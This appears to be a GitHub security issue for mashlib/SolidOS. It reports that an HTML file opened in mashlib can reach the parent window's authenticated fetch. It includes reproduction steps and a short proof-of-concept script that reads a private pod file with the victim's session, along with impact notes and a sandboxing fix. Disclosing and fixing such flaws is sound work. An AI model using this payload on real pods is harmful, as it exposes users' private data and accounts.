-
Notifications
You must be signed in to change notification settings - Fork 45
Description
Summary
When a user opens a html file with mashlib, this file can access the window of mashlib and thus among other things the authenticated fetch at UI.authn.session.fetch.
Reproducing
Steps to reproduce (on NSS):
- open yourpod.solidcommunity.net
- login (required precondition for the exploit to work)
- create a file
test.htmlat any location (in a real exploit the attacker with append/write permissions would create this) - Write the html below into the file. Change the url with a private file
- Display the html with mashlib (click on the "d" symbol)
- Observe one alert with your webid and one with the file contents
<script>
const main = async () => {
mashlibWindow = window.parent;
alert('Logged in as ' + await mashlibWindow.UI.authn.checkUser())
res = await mashlibWindow.UI.authn.session.fetch('https://yourpod.solidcommunity.net/private/secret.txt')
alert('Secret: ' + await res.text())
}
main()
</script>
For CSS, the steps are similar, however I think the test.html file would need to be publicly readable to be loaded in the iframe. In NSS this is not necessary because it also uses cookies.
Impact
Opening a malicious html file can result in the attacker gaining control over the whole pod.
Fix
Use an iframe with the sandbox attribute which may not include allow-same-origin. See for instance this article on sandboxing: https://web.dev/sandboxed-iframes/
This would also be fixed, if pods don't serve or sandbox html files (see https://forum.solidproject.org/t/is-it-secure-for-pods-to-serve-html-files/6379/2)
EDIT: after looking at the code, I don't think it matters if pods sandbox the html, as they are not directly included with <iframe src=".../test.html"> but fetched manually and then added as a blob.
EDIT 2: it's more complicated than I thought, SolidOS has 3 different ways of creating iframes. See here for a small discussion)
Metadata
Metadata
Assignees
Labels
Type
Projects
Status